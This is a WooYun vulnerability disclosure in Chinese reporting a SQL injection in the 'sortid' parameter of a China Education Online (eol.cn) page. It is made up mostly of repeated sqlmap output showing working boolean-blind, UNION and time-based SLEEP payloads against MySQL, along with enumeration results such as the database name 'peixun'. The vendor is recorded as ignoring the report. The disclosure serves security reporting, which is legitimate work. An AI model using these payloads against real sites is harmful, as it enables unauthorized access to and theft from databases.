漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-064922
漏洞标题：中国教育在线SQL注入一枚
相关厂商：eol.cn
漏洞作者： 追逐天堂
提交时间：2014-06-14 18:16
修复时间：2014-06-19 18:16
公开时间：2014-06-19 18:16
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：8
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-14： 细节已通知厂商并且等待厂商处理中
2014-06-19： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
友情检测，点到为止。
详细说明：
漏洞证明：
sqlmap identified the following injection points with a total of 246 HTTP(s) requests:
---
Place: GET
Parameter: sortid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: provinceid=42&sortid=3_62) AND 1455=1455 AND (4178=4178&callback=?
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: provinceid=42&sortid=3_62) UNION ALL SELECT CONCAT(0x7167716471,0x615a664157617771667a,0x7172676971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&callback=?
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: provinceid=42&sortid=3_62) AND SLEEP(5) AND (4058=4058&callback=?
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sortid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: provinceid=42&sortid=3_62) AND 1455=1455 AND (4178=4178&callback=?
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: provinceid=42&sortid=3_62) UNION ALL SELECT CONCAT(0x7167716471,0x615a664157617771667a,0x7172676971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&callback=?
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: provinceid=42&sortid=3_62) AND SLEEP(5) AND (4058=4058&callback=?
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
available databases [1]:
[*] peixun
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sortid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: provinceid=42&sortid=3_62) AND 1455=1455 AND (4178=4178&callback=?
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: provinceid=42&sortid=3_62) UNION ALL SELECT CONCAT(0x7167716471,0x615a664157617771667a,0x7172676971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&callback=?
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: provinceid=42&sortid=3_62) AND SLEEP(5) AND (4058=4058&callback=?
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
current user is DBA: False
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sortid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: provinceid=42&sortid=3_62) AND 1455=1455 AND (4178=4178&callback=?
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: provinceid=42&sortid=3_62) UNION ALL SELECT CONCAT(0x7167716471,0x615a664157617771667a,0x7172676971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&callback=?
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: provinceid=42&sortid=3_62) AND SLEEP(5) AND (4058=4058&callback=?
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
current database: 'peixun'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sortid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: provinceid=42&sortid=3_62) AND 1455=1455 AND (4178=4178&callback=?
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: provinceid=42&sortid=3_62) UNION ALL SELECT CONCAT(0x7167716471,0x615a664157617771667a,0x7172676971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&callback=?
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: provinceid=42&sortid=3_62) AND SLEEP(5) AND (4058=4058&callback=?
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
current user: None
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sortid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: provinceid=42&sortid=3_62) AND 1455=1455 AND (4178=4178&callback=?
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: provinceid=42&sortid=3_62) UNION ALL SELECT CONCAT(0x7167716471,0x615a664157617771667a,0x7172676971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&callback=?
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: provinceid=42&sortid=3_62) AND SLEEP(5) AND (4058=4058&callback=?
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
No tables found
修复方案：
你比我懂
版权声明：转载请注明来源 追逐天堂@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-06-19 18:16
厂商回复：
最新状态：
暂无